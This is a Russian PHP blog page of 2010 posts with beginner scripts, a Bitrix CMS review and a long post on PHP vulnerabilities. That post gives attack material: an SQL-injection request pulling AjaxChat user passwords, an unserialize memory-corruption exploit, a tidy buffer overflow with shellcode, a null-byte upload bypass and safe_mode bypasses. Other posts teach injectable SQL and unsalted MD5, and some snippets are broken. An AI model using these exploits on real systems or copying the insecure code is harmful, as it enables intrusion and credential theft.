phpMind.ru - Мои мысли про PHP

Работа с if и elseif (php if elseif)

Capcha — Sun, 28 Feb 2010 13:38:41 +0000

Сейчас я покажу зачем необходима ввся эта конструкция с elseif, казалось бы без нее можно сделать простыми if else, но не тут то было.

Покажу на примере одного скрипта, который понадобился одному человеку.

в файле есть n-ое кол-во строк, оно может быть разным но не меньше 1ой
нужно вывести последние 5 строк если их больше => 6
если строк меньше шести то вывести все кроме первой.
если строка одна то вывести: “Ссылок нету!”

$filename='название файла';
$all = file($filename);
$strings = sizeof(file($filename));

if($strings >= '6'){
for($i=6;$i<>0;$i--){
echo $all[sizeof($all)-$i].'
';
}
}
elseif($strings<'6'){
for($i=sizeof($all);$i<>1;$i--){
echo $all[sizeof($all)-$i].'
';
}
}
elseif($strings <= '1'){
echo 'Cсылок нету!';
}
endif;
?>

Работа с папками (php folders)

Capcha — Sun, 28 Feb 2010 13:30:58 +0000

Поступила еще одна просьба от знакомого, а именно:

допустим в корневой папке лежит скрипт и ещё одна папка в которой n-ое кол-во папок нужно что бы скрипт написал какие там папки т.е. их названия.

Вот решение:

$dir = "/НАЗВАНИЕ ПАПКИ";
$folders = scandir($dir);

for($i = 2; $i != sizeof($folders); $i++){
echo $folders[$a]."
";
}
?>

Может кому-то пригодится.

Парсинг контента (php content parser)

Capcha — Sun, 28 Feb 2010 13:27:53 +0000

Постучал один мой знакомый и попросил меня сделать ему небольшой скрипт под его нужды, вот его задание:

Если не сложно очень нужно такой скрипт:
отправляется запрос на

http://www.ozon.ru/webservice/webservice.asmx/SearchWebService?searchText=FlatOUT&searchContext=

и сохраняются в файл эти строки:

<SearchItems diffgr:id="SearchItems1" msdata:rowOrder="0"><ID>2154287ID><Name>FlatOutName>

список запросов указывается в txt файле
если результатов поиска нет, как например

http://www.ozon.ru/webservice/webservice.asmx/SearchWebService?searchText=FlatOUTds&searchContext=

, то в файл записывается- no

Заранее благодарен

Я как человек, любящий помогать, сразу же приступил к написанию скрипта на PHP.

Скрипт написать оказалось не тяжело, поэтому всю работу я проделал буквально за 10 минут.
Вот и сам скрипт:

//Capcha Project 2009 (c)
set_time_limit(0);
$source = "source.txt";
$result = "result.txt";

$strings = file($source);
foreach ($strings as $string) {

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,
"http://www.ozon.ru/webservice/webservice.asmx/SearchWebService?searchText=" . $string .
"&searchContext=");
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLINFO_HEADER_OUT, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
$source = curl_exec($ch);

preg_match("#(.*)<\/ID>#", $source, $id);
if (!empty($id[1])) {
preg_match("#(.*)<\/Name>#", $source, $name);
preg_match("#(.*)<\/Picture>#", $source, $pic);
$fp = fopen($result, "a+");
fwrite($fp, $id[1] . ";" . $name[1] . ";" . $pic[1] . "\r\n");
fclose($fp);
} else {
$fp = fopen($result, "a+");
fwrite($fp, "no\r\n");
fclose($fp);
}
}

echo "Готово";

?>

Создаем файл source.txt , в него пишем на каждой строчке запросы.
Создаем файл result.txt c правами 755, это файл с результатами.

Если есть вопросы по поводу скрипта, задавайте, отвечу на все ваши комментарии.

Обзор 1C-Битрикс CMS

Capcha — Sun, 28 Feb 2010 09:58:45 +0000

CMS 1С-Битрикс
Система ориентирована на корпоративные сайты, информационные и справочные порталы, социальные сети, интернет-магазины, сайты СМИ, пригодна для создания других видов веб-ресурсов.

Для хранения данных сайта используется реляционная СУБД. Поддерживаются следующие СУБД: MySQL, Oracle, MS SQL. Продукт работает на Microsoft Windows и UNIX‐подобных платформах, включая GNU/Linux.

«1С-Битрикс: Управление сайтом» продаётся в одной из семи составленных фирмой-разработчиком редакций (Старт, Стандарт, Эксперт, Малый бизнес, Бизнес, Портал, Большой бизнес), определяющих набор модулей и функциональность системы. На сегодняшний день в системе доступны 26 модулей:

Для корректной работы с системой управления пользователям без знания языков HTML и PHP требуется предварительная настройка системы (создание шаблона на базе графического дизайна, создание структуры разделов и страниц, а также подключение модулей системы). Данную возможность предоставляют партнёры компании «1С-Битрикс».

Идеология системы представляет собой разделение логики на модули и компоненты. Модули в «1С-Битрикс: Управление сайтом» — это набор программных компонентов, отвечающих за работу с различными типами баз данных, а также предоставляющих унифицированный API системы. Компоненты служат для связи конечного представления информации на сайте с программным ядром системы. Они используют API, созданный модулями, для организации выборки, модификации, управления информацией в базе данных.

Первая версия системы выпущена в 2001 году. На системе создано более 30000 сайтов. В России и СНГ сайты на «1С-Битрикс» разрабатывают более 2500 веб-студий.

На настоящий момент доступна версия 8.5.1.

Корпоративный портал 1С-Битрикс
«1С-Битрикс: Корпоративный портал» — программный продукт для создания внутрикорпоративного информационного ресурса.

Основные функциональные возможности системы: публикация списков сотрудников компании, коллективная работа в рабочих группах, общие и персональные календари событий, график отсутствий сотрудников, общее хранилище документов с возможностью поиска, система документооборота, корпоративный поиск информации на портале, система резервирования переговорных, работа с электронными заявками (оформление пропусков, заказ транспорта и т. д.), двунаправленная интеграция с Microsoft Outlook, внутрикорпоративное общение (с помощью мгновенных сообщений), управление задачами и поручениями, встроены инструменты для визуального проектирования бизнес-процессов и др.

Система поставляется в трёх редакциях: Интранет, Экстранет, Бизнес-процессы.

Преимущества для разработчика
Одной из самых привлекательных особенностей «1С-Битрикс: Управление сайтом» для разработчика является механизм информационных блоков (инфоблоков). Он позволяет легко создавать пользовательские типы содержания (например для различных каталогов). При этом способы работы с инфоблоками Битрикс по возможности приближена к способам работы со справочниками платформы 1С:Предприятие.

Другой особенностью современных версий Битрикса является мощный визуальный HTML-редактор, позволяющий размещать на странице как обычную HTML информацию, так и различные динамические компоненты, работу которых обеспечивает CMS. Однако этот редактор имеет и ряд ограничений.

Несколько скриптов на PHP для новичков

Capcha — Sat, 27 Feb 2010 07:58:05 +0000

Эта статья вообще-то должна была быть в самом начале моего блога, но я ее просто забыл разместить.
Но как говорится “Лучше поздно, чем никогда”.

Я считаю, что Вас(новичков) эти скрипты поставят на путь истиный

Форсируем SSL соединение

if ($_SERVER['HTTPS'] != "on") {
header("Location: https://".$_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF']);
exit;
}

Узнаем дату

$today = getdate();
$month = $today['month'];
$mday = $today['mday'];
$year = $today['year'];

Рандомная подгрузка

$selectnumber = rand (1, 5);
if($selectnumber==1) $pagebg="#990000";
if($selectnumber==2) $pagebg="#0000FF";
if($selectnumber==3) $pagebg="#00AAAA";
if($selectnumber==4) $pagebg="#000099";
if($selectnumber==5) $pagebg="#DDDD00";

Легкий способ отобразить содержимое папки

$path = "/home/user/public/foldername/";
$dir_handle = @opendir($path) or die("Unable to open $path");

while ($file = readdir($dir_handle)) {
if($file == "." || $file == ".." || $file == "index.php" )
continue;
echo "\"$file\">$file
";
}
closedir($dir_handle);

Простой способ оптимизировать базу данных

dbConnect()
$alltables = mysql_query("SHOW TABLES");

while ($table = mysql_fetch_assoc($alltables))
{
foreach ($table as $db => $tablename)
{
mysql_query("OPTIMIZE TABLE '".$tablename."'")
or die(mysql_error());
}
}

Создаем запароленую страницу

$username = "someuser";
$password = "somepassword";

if ($_POST['txtUsername'] != $username || $_POST['txtPassword'] != $password) {?>

Login

} else {?>

This is the protected page. Your private content goes here.

}?>

Роковые ошибки в PHP

Capcha — Sat, 27 Feb 2010 07:26:13 +0000

В этой большой статье я попытаюсь рассказать Вам про наиболее опасные ошибки в PHP, которые, как я думаю Вы еще не знали. Наиболее опасные ошибки это глобальные переменные, про которые большенство программистов просто забывают и даже иногда пытаются их перезаписывать с полной потерей данных. Читайте мою статью и узнаете очень много нового ( если даже вы и профи в своем деле ).

Поехали…

REGISTER_GLOBALS
Одной из самых опасных уязвимостей в веб приложениях по-прежнему остается перезапись глобальных переменных , которая может
привести к разным последствиям – начиная от раскрытия пути и заканчивая удаленным выполнением кода. Однако еще с четвертой
ветки php появилась возможность отключить регистрацию глобальных переменных путем извлечения данных из GET,POST,COOKIE массивов.

Рассмотрим классический пример global overwrite , создав простой php скрипт с всего лишь одной строчкой кода.

php -> echo $GLOBALS['example'];

Для присвоения данных переменной достаточно обратиться к скрипту с параметром example=itdefence , в результате
увидем высвеченное значение itdefence. Некорректно обрабатывать обнуление переменных только из GET/POST массивов ,
передав дополнительный заголовок браузера мы получим тотже самый результат.

cookie -> example=itdefence

_FILES GLOBAL MODE
Недавно люди из hardened-php опубликовали описание нового способа перезаписать значение переменной , используя загрузку файла.
Это происходит потому что _FILES является частью массива _POST . Для начала напишем скрипт отправки и приема загруженных файлов.

if(isset($_FILES["example"]))
{

copy($_FILES["filename"]["tmp_name"],'/');

}
echo $GLOBALS['example'];
?>

Пробуем залить файл с именем itdefence.txt и видим в качестве результата не только залитый файл , но и присовоенное значение
переменной example значение itdefence.

GLOBALS OVERWRITE
Поскольку большинство систем работает только с включенным режимом register_globals , а многие веб хостинг с целью обеспечения
безопасности своих клиентов отключают эту переменную , программисты придумали пару методов для помещений перемен в область
глобального видения , которые в реализации гораздо легче чем изготовление патчей . Одной из таких функций является
import_request_variables , в качестве параметра выступает строка , определяющая порядок помещения переменных в superglobal
из массива _REQUEST. Небезопасное использование функции позволяет перезаписать произвольные переменные пришедшие с клиентской
стороны. Стоит использовать import_request_variables вместе со вторым параметром – префиксом будущих функций . Несмотря на то ,
что баг был обнаружен в 2005 году , ему небыло присвоено критическое значение .

php -> import_request_variables("GPC");

Обратившись к скрипту с параметром _SERVER[REMOTE_ADDR]=itdefence , мы перезапишем ключ массива , содержащий в себе адрес посетителя,
а так как многие системы управления контентом не фильтруют этот на первый взгляд безопасный параметр , рождается куча способ атаки – от
снятия блокировки на сайте до выполнения произвольного sql кода.

Вторая , не менее опасная и распространенная функция для эмуляции register_globals является extract . Чтобы избежать перезаписи уже
существующих переменных рекоммендуется использовать флаг EXTR_SKIP , который при попытки поместить переменную в глобальное окружение
проверит на существование и лишь в случае отсутствия в адресном пространстве такого ключа создаст.

php -> extract($_REQUEST);

UNSET WHACKING
Обнаруженная в конце 2006 года и уже успев стать популярной , уязвимость в вызываемой функции unset , изначально именуемой
Zend_Hash_Del_Key_Or_Index достойна отдельного внимания . Ровно шесть месяцев ушло у авторов php на устранение этой критический
уязвимости.Для того чтобы лучше понять суть бага , надо понять основы хранения данных в php . Zend Engine HashTables является
“контейнером” для информации , поступишвей со стороны клиента , такие как суперглобальные массивы COOKIE , POST , GET .
HashTable хранит ключи-указатели на содержимое переменных , и как оказалось несет в себе критический баг – подставив цифровое
значение переменной можно перезаписать буквенно-цифровое представление . Такие уязвимости могут быть проэксплуатированны только
в случае включенного потенциально-опасного параметра register_globals в настройках php . Хэш-таблицы Zend Engine “знают” два
типа индексов в PHP4: цифровые и буквенно-цифровые . Если индекс состоит только с цифр он автоматически обрабатывается
как цифровой . В PHP5 это нетак , поскольку PHP5 “знает” о таблицах имён и о простых хэш-таблицах . В таблицах имён цифровые
индексы все ещё обрабатываются автоматически .

Брешь заключается в некорректном условии проверки – если мы пытаемся вызвать unset для цифро-буквенной переменной и в списке
переменных есть цифровой хэш ключ с идентичным значением , то php удалит ключ но не саму переменную , то есть после вызова
unset мы можем использовать значение в дальнейшем . Для нас является положительным тот факт что unset чаще всего используется
в начале кода для того чтобы принудительно запретить использование опасных ключей .

Указать ключ переменной можно не только при включенном superglobals моде , но и упомянув значение в массиве _FILES
о чем я писал выше . Так был написан эксплоит для форумного скрипта vBulletin и популярного блог движка WordPress .

Расмотрим реализацию на примере AjaxChat.Последнюю версию можно взять с ajchat.sourceforge.net . Авторы данного чата
позволяют создавать виртуальные комнаты только состоящие из букв , что явно видно в этом участке кода

if (isset($_GET["s"]))
{

$_GET["s"] = strtoupper($_GET["s"]);
if (strlen($_GET["s"])==1 && $_GET["s"]>='A' && $_GET["s"]<='Z') {}
else unset($_GET['s']);

}

В дальнейшем если переменная “s” из массива _GET прошла фильтрацию , ищущий виртуальные комнаты,
похожие по написаню с введеной в строке поиска строке и дальнейший вывод всех данных из масива на страницу.

mysql -> SELECT `roomname`, `updated` FROM `rooms` WHERE `roomname` LIKE '%$s%' AND`updated` > 0 ORDER BY `roomname` ASC ;

С первогов взгляда – код правильный , но стоит переопределить переменную “s” , идущую в GET запросе , чтобы выполнить
произвольный sql запрос . Высчитаем hash_del_key для обоих версий php

calc -> PHP5 hash: 5863704 , PHP4 hash: 5861526

Для того , чтобы хеш переменной засчитался , сначала надо присвоить саму переменную и только после делать подставление наших ключей.
Наш запрос для извлечения юзеров принимает вид

browser -> directory.php?s= and 1=2 union select concat_ws(char(59),id,username,password,email),null+from+ac_users/*&5861526=1&5863704=1

Прерывая одинарной ковычкой оригинальный запрос мы вставляем выборку полей с номером , именем , паролем и почтовым адресом юзера
, обьединенных с помощью функции concat_ws , в результате чего получаем нужные данные.

Не стоит отказываться от unset , одним из способ решения уязвимости является принудительно приравнивание переменной к NULL
, либо двойной вызов этой функции ( по рекоммендации автора minibb ).Рекоммендуется скачать патч со страницы авторов ,
обнаруживших этот баг ( [Для просмотра данной ссылки нужно зарегистрироваться] )

Такой же опыт можно провести , совместив аплоад файла и unset bug . Модифицируем код,где 1322199023 и 1154731405 хеш ключи переменной example
сразу для двух версий php – четвертой и пятой

if(isset($_FILES["example"]))
{
unset($_FILES["example");
}
echo $GLOBALS['example'];
?>

После загрузки файла itdefence.txt мы все равно увидим значение переменной example.

UNDER WHAT? UNDER SERIALIZE !
PHP функция un/serialize используется для помещения данных в строку , представляющую из себя сериализованный массив . Часто
его используют для упрощения структуры хранения Cookie данных юзера . В различных версиях интерпретатора существовало не менее
пяти багов в этой функции – от банального переполнения буфера до получения нужной информации . На основе этой бреши для phpbb2
был написан эксплоит , представляющий из себя очень длинную строку , посылаемую разбитой в несколько частей в заголовке cookie ,
предварительно закодированной в url представлении . Большое колличество вложеных сериализированных массивов может запросто подвесить
php интерпретатор . В последствие это переросло в integer overflow в вызове функции ecalloc . В таком случае памяти выделится куда
больше чем было выделено под операцию обратную сериализации и приведет к исполнению кода после того как переменная будет удалена
из Zend HashTable.

php -> $str = 'S:'.(100*3).':"'.str_repeat('\61', 100).'"'; unserialize($str);

Эксплоит для linux , где адрес 0×08064058 является свободным для php , эксплоит выглядит так

php -> $hashtable = str_repeat("A", 39);

$hashtable[5*4+0]=chr(0x58);
$hashtable[5*4+1]=chr(0x40);
$hashtable[5*4+2]=chr(0x06);
$hashtable[5*4+3]=chr(0x08);
$hashtable[8*4+0]=chr(0x66);
$hashtable[8*4+1]=chr(0x77);
$hashtable[8*4+2]=chr(0x88);
$hashtable[8*4+3]=chr(0x99);

$str = 'a:100000:{s:8:"AAAABBBB";a:3:{s:12:"0123456789AA";a:1:{s:12:"AAAABBBBCCCC";i:0;}s:12:"012345678AAA";i:0;s:12:"012345678BAN";i:0;}';
for ($i=0; $i<65535; $i++) {
$str .= 'i:0;R:2;';
}
$str .= 's:39:"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";s:39:"'.$hashtable.'";i:0;R:3;';

unserialize($str);

Полученный результат нужно использовать как аргумент при использовании unserialize.

SPECIAL CHARS
Использование специальных непечатаемых символов в качестве аргументов , передаваемых функции часто приводит к очень “радостным”
результатам . Например прежде чем поместить ip адрес в базу данных его часто проверяют функцией ip2long , которая в случае если
адрес является неправильно сформированным вернет -1.

php -> ip2long ('123.231.222.111"'); -- -1

Однако немного помучав функцию мы можем увидеть что строка , содержащая в себе символы , чьи коды равны 0,9,10,11,12,13 либо 32 вернет
неотрицательный результат.

php ->

for ($i=0; $i<=255; $i++)
{
echo $i.":".ip2long("1.1.1.1".chr($i)."'or'a'='a'/*")."\r\n";
}

На примере minibb взлом будет выглядеть так

header -> X-FORWARDED-FOR: 1.1.1.1[CHR(0)]union select 1

Использование нашего sql запроса является хоть и неудобным – потребуются специальные програмы чтобы отправить заголовок , но в таком
случае мы находимся в выигрыше – magic_quotes_gpc не распространяется на этот тип данных . К сожалению в minibb провести атаку не получится
- на строку выделяется всего 16 символов плюс один символ наш .

Функция из пакета tidy tidy_parse_string как и ее обратная – tidy_repair_string при локальном использовании позволяют переполнить
буфер с последующим выполнением шеллкода . Этот набор функций часто используется в wiki – скриптах

php -> tidy_parse_string(1,str_repeat("A",2036)."\x8B\x51\x81\x7C".str_repeat("\x90",12).$shellcode,1);

Очень серьезной является ошибка в функциях copy и move_uploaded_file – существуют символы , которые “обрубают” строку – аргумент
до вхождения этого символа . Обычно это null byte , а в некоторых nix системах и слеши .

php -> $filename = trim($fileinfo['name'], "\x00..\x1F");

Напишем скрипт , ничуть не отличающийся от множества , используемых для аплоада файла с проверкой расширения.

$filename = $_FILES['userfile']['name'];
$allowed = array ('gif','png','jpg');
$tmpname = explode('.',$filename);
$extension = $tmpname[count($tmpname)-1];
$allowed = in_array($extension,$allowed) ? true : false ;
if ($allowed)
{
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile);
echo 'uploaded!';
}
else
{
echo 'aaah noooo!';
}

?>

На первый взгляд вполне логично , что файл с именем file.jpg.php не пройдет проверку , однако попробуем вставить null bute в имя файла и
в конечном виде получится чтото вроде my_data.php%00.jpg . Удачная попытка и наш файл залить с именем my_data.php . Такой же баг присутствует
и в функции copy().

Mod_secuirity , часто устанавливаемый вместе с апачем тоже подвержен уязвимостям . Внедря null byte в POST заголовок мы обманем фильтр
и не оставим в логах никаких записей , тк ids посчитает %00 концом строки

hp -> curl http://localhost/test.php --data-binary @postdata -AHarmlessUserAgent

Для облегчения труда был написан комплекс скриптов для тестирования функций на предмет переполнения буфера в передаваемых аргументах.
Одна часть скрипта получает список всевозможных функций и запускает второй скрипт с аргументом , вызывающий функцию по имени аргумента
и логирующий каждую ошибку.

BASE DIR && SAFE MODE
Защищенный режим в PHP – это попытка решить проблему безопасности на совместно используемых серверах. Несмотря на то, что концептуально
неверно решать эту проблему на уровне PHP , но поскольку альтернативы уровня веб-сервера или операционной системы на сегодняшний день
отсутствуют, многие пользователи, особенно провайдеры, используют именно защищенный режим. Для управлением safe_mode в файле настроек php
имеется пара директив , определающих поведение безопасного режима.

safe_mode – отключает \ включает защищенный режим
safe_mode_gid – определяет доступ к скрипту по uid вызывающего его юзера
safe_mode_include_dir – разрешает подключение файлов только из определенной директории
safe_mode_exec_dir – разрешает выполнять команды оболочки только в определенной директории
safe_mode_allowed_env_vars – разрешает модификацию переменных , имеющих в названии определенную приставку
safe_mode_protected_env_vars – запрещает модификацию переменных при любом раскладе
open_basedir – ограничивает спискок файлов и директорий на чтения , не влияет состояние режима safe_mode
disable_functions – зарпещает выполнение функций из списка

В случае открытия файла , права на который не совпадает с правами юзера выдастя ошибка

error -> Warning: SAFE MODE Restriction in effect. The script whose uid is 500 is not allowed to access /etc/passwd
owned by uid 0 in /docroot/script.php on line 2

Тот же самый эффект мы наблюдаем и с base_dir

error -> Warning: open_basedir restriction in effect. File is in wrong directory in /docroot/script.php on line 2

К сожалению , а может и к счастью safe mode уже научились обходить причем способом куча и редко встретишь сервер где не работает
ни один . Например одним из последних способов обмануть base_dir является принудительное выставление session.save_path в директорию ,
доступную на чтение.

php -> ini_set("session.save_path", "/sessions/user2/");
putenv("TMPDIR=/sessions/user2/");
ini_set("session.save_path", "");
@session_start();

Использование префикса compress.bzip2:// или zip:// не учитываеся в safe mode , что позволяет читать файлы вне разрешенных директорий.
Логично , что действие safe mode распространяется только на php скрипты и мы можем использовать perl , python или SSI (Server Side Includes).
Для того чтобы последний метод заработал , надо выставить в апаче некоторые параметры запуска для файла в .htaccess

AddType text/html .shtml
AddHandler server-parsed .shtml
Options +Includes

И для того чтобы удобнее было использовать напишем своеобразный шелл на javascript

function execute()
{
var cmd = document.exec.cmd.value;
document.write('');
}

Не стоит отказываться от использования safe mode , достаточно следить за обновлениями php и своевремено ставить нужные патчи .
Другим действенным методом является внедрение сторонних разработок , таких как suPHP , разграничивающих использование скриптов в
зависимости от выставленных прав либо поставить phpsafemode.patch , принцип работы которого не особо отличается от предыдущего варинта.

Вот и конец, если есть вопросы – задавайте.
З.Ы. устал писать…

Мониторинг Counter-Strike 1.6 серверов (php cs 1.6 monitoring)

Capcha — Sat, 27 Feb 2010 07:12:09 +0000

Была раньше идея написать движок мониторинга CS 1.6 серверов.
Идея поглатила себя, так что выкладываю скрипт с которого вы уже сами дальше сможите сделать свой собственый движок мониторинга.

Скрипт достаточно простой, разобраться без труда может каждый.
Подходит под 47-49 протокол, т.е. самые последние.

И так, погнали…

Создаем файл cstrike.inc.php с содержанием:

if(!function_exists('getmicrotime'))
{
function getmicrotime()
{
list($usec, $sec) = explode(" ", microtime());
return ((float)$usec + (float)$sec);
}
}
function serverInfo($ip, $port)
{
$ip = gethostbyname($ip);
$timeStart = getmicrotime();
$fp = fsockopen('udp://'.$ip, $port);
stream_set_timeout($fp, 2);
if($fp)
{
fwrite($fp,"\xFF\xFF\xFF\xFFTSource Engine Query\0\r");
$temp = fread($fp, 4);
$status = socket_get_status($fp);
if($status['unread_bytes']>0)
{
$temp = fread($fp, $status['unread_bytes']);
$server['ping'] = (int)((getmicrotime() - $timeStart)*1000);
$array = array();
$pos = 0;
while($pos !== false)
{
$pos2 = strpos($temp, "\0", $pos+1);
$array[] = substr($temp, $pos+1, $pos2-$pos)."\n";
$pos = $pos2;
}
$server['status'] = 'on';
if( strpos($array[0], $ip) !== 0)
{
$server['players'] = ord($array[5][0]);
$server['maxplayers'] = ord($array[5][1]);
$server['name'] = trim(substr($array[0], 1));
$server['map'] = trim($array[1]);
$server['game'] = trim($array[2]);
}
else
{
$server['players'] = ord($array[5][0]);
$server['maxplayers'] = ord($array[5][1]);
$server['name'] = trim($array[1]);
$server['map'] = trim($array[2]);
$server['game'] = trim($array[3]);
}
$command = pack("V", -1) . 'W';
fwrite($fp, $command, strlen($command));
$temp = fread($fp, 1500);
$temp = substr($temp, 5);
$lo = (ord($temp[1]) << 8) | ord($temp[0]);
$hi = (ord($temp[3]) << 8) | ord($temp[2]);
$data = "\xFF\xFF\xFF\xFF\x55".pack("V", ($hi << 16) | $lo);
fwrite($fp, $data);
$temp = fread($fp, 5);
$status = socket_get_status($fp);
if($status['unread_bytes']>0)
{
$temp = fread($fp, $status['unread_bytes']);
$array = array();
$temp = substr($temp, 1);
for($i=1;$i<=$server['players'];$i++)
{
$temp = substr($temp,1);
$pos = strpos($temp, "\0");
$name = substr($temp, 0, $pos);
$temp = substr($temp, $pos+1);
$lo = (ord($temp[1]) << 8) | ord($temp[0]);
$hi = (ord($temp[2]) << 8) | ord($temp[3]);
$temp = substr($temp, 4);
$kills = ($hi << 16) | $lo;
$f = @unpack("f1float", $temp);
$temp = substr($temp, 4);
$time = (int)$f['float'];
if(trim($name))
$server['stats'][] = array("name" => $name, "kills" => $kills,
"time" => gmdate("H:i:s", $time));
}
}
}
else
$server['status'] = 'off';
}
return $server;
}
?>

Главный скрипт готов, все что осталось это вызвать функцию из этого скрипта.
Создаем файл check.php с содержанием:

include('cstrike.inc.php');
$info = serverInfo('IP Сервака','ПОРТ');
print_r($info);
?>

Все что осталось сделать, это добавление серверов в базу и вывод инфы на главную, вот вам и целый сайт.

Проверка скорости интернета (php speed test)

Capcha — Sat, 27 Feb 2010 07:06:16 +0000

Задачи
Итак, наша задача – написать скрипт, который бы определял скорость интернета.

Алгоритм
Будем отправлять символы общим размером в 512кб и расчитывать промежуток времени скачивания 512кб. Затем будем измерять скорость интернета, делим 512кб на время скачивания и получим скорость интернета.

Тест-Драйв

//максимальное значение кб для отсылки
$maxNumKB = 4096;
//минимальное значение кб для отсылки
$defNumKB = 512;
//если не заданы GET запросы, то автоматом перебрасываем
//на страницу с гет запросом в 512кб.
if (!isset($_GET['numKB']) || intval($_GET['numKB']) > $maxNumKB)
{
header("Location: http://{$_SERVER['HTTP_HOST']}{$_SERVER['PHP_SELF']}?numKB=$defNumKB");
}
//округляем до целого числа
$numKB = intval($_GET['numKB']);
?>

SpeedTest [by Capcha]

Wait

//делим 512кб на время затраченое и обрезаем до тысячных и выводим на экран
echo (round($numKB / $timeDiff, 3)) . ' KB/s
';
?>

Конечено же это не точный результат, т.к. влияет много факторов.
Такие как: скорость сервера, производительность сервера, растояние до сервера и еще куча всего.

Скрипт написан для ознокомительных целей, т.к. такую задачу умнее бы написать на JS.

Вот и уроку конец, а кто читал, тот молодец

В чем сила MD5?

Capcha — Tue, 23 Feb 2010 20:51:01 +0000

Меня иногда спрашиваю, а в чем крутость MD5? На кой черт нужно шифровать пароли этим хешем?

Отвечаю.
Предположим, что злоумышленник нашел дырку в нашем сайте. Чтобы было серьезнее, предположим, что он нашел доступ к базе данных и может прочитать пароли всех пользователей (но перезаписывать базу данных он не может; так часто бывает).

Что происходит, если пароли лежат в открытом виде?
Понятно: он берет любой логин и пароль и заходит под ними, делает гадости. Что происходит, если пароли зашифрованы двунаправленным шифрованием (это когда можно зашифровать и другим скриптом расшифровать)? Так как обычно тоже применяются стандартные алгоритмы, взломщик помучается, но расшифрует пароль. Что происходит, если пароль зашифрован с помощью md5? Взломщик видит хэш, но ничего сделать не может. Это однонаправленный метод шифрования.

Что такое однонаправленное шифрование?
Это когда слово шифруется по какому-то алгоритму, а расшифровать его обратно нельзя – слишком моного возможных комбинаций или другая причина.

Как применять md5 на практике?
Когда пользователь регистрируется и первый раз вводи пароль, в базу мы записываем его MD5-хеш. Ну скажем так:

$login = $_POST['login'];
$hash = md5($_POST['password']);
mysql_query (”INSERT INTO table VALUES (0, ‘$login’, ‘$hash’);”)

Теперь, когда пользователь заходит в свой аккаунт, нужно проверять хеш из базы с хешем введенного пароля, который мы создаем “на лету”. Например так:

$login = $_POST['login'];
$pass = $_POST['password'];
$user = mysql_fetch_array (mysql_query (”SELET * FROM table WHERE login=’$login’;”));
if ($user['hash'] == md5($pass)){ /* вошли успешно */}

Конечно, я тут не проверял входящие данные и не проверял ошибки. Кстати, MySQL тоже понимает MD5, поэтому код выше можно переписать так, оставив только запрос:

$login = $_POST['login'];
$pass = $_POST['password'];
$user = mysql_fetch_array (mysql_query (”SELET * FROM table WHERE login=’$login’ AND hash=MD5(’$pass’);”));

Постарался как можно лучше ответить на этот вопрос и мне кажется, что ответ удался

Интересные возможности PHP

Capcha — Tue, 23 Feb 2010 20:07:07 +0000

В данной статье я хочу рассказать о интересных, но не очень распространенных базовых возможностях языка PHP. Все, что написано далее в том или ином виде присутствует в документации к PHP в разрозненном виде. Автор вполне отдает себе отчет в том, что большинство профессиональных разработчиков все это отлично знает, но новички могут узнать что-то новое.

Команда BREAK

Многие почему-то считают, что break может использоваться исключительно в конструкциях switch. Это заблуждение. Кроме switch, она используется в циклах. Кроме того, у команды есть необязательный параметр – число уровней, из которых надо выйти. Например:

while ($exp1) {
while($exp2) {
if ($exp3) {
// полный выход из цикла
break 2;
}
else {
// выход только из while($exp2)
break;
}
}
}

Команда CONTINUE
Как и break имеет параметр – число уровней возврата к циклу.

while ($exp1) {
while($exp2) {
if ($exp3) {
// возврат к while ($exp1)
continue 2;
}
else {
// возврат к while ($exp2)
continue;
}
}
}

Кстати, в конструкции switch команда continue дает точно такой же эффект, что и break. Поэтому, если у вас внутри цикла находится оператор switch, и вы внутри него попытаетесь выполнить continue, то у вас произойдет просто break из свича, а не возврат к началу цикла. В этом случае для получение ожидаемого нужно сделать continue 2

Команда INCLUDE
А вы знаете, что include скрипта работает точно так же, как вызов функции, а именно может возвращать значения, отдаваемые командой return в процессе выполнения этого скрипта? То есть можно сделать так:

// файл i.php
Return “hello, world!”

// файл index.php
// напечатает “hello, world!”
echo include (“i.php”);

Команда DECLARE

Заслуженно можно сказать, что это самая редкоиспользуемая базовая конструкция в PHP. Она нужна для установки директив интерпретатору при выполнении кода. На данный момент существует только одна директива – ticks.

Declare (ticks=n) – говорит интерпретатору (создает событие), что ему нужно что-то обработать через каждые n тиков. Тик – это выполнение одного базового действия php. Кроме этого, с помощью специальной функции register_tick_function() установить функцию, которая будет выполнена при возникновении события, иначе конструкция бессмысленна.

На практике declare можно использовать для профайлинга скриптов. Т.е. благодаря тикам можно замерять время, потраченное на выполнение каждой вашей операции (или их группы) в скрипте.

Как это делается смотрите тут — http://www.php.net/manual/ru/control-structures.declare.php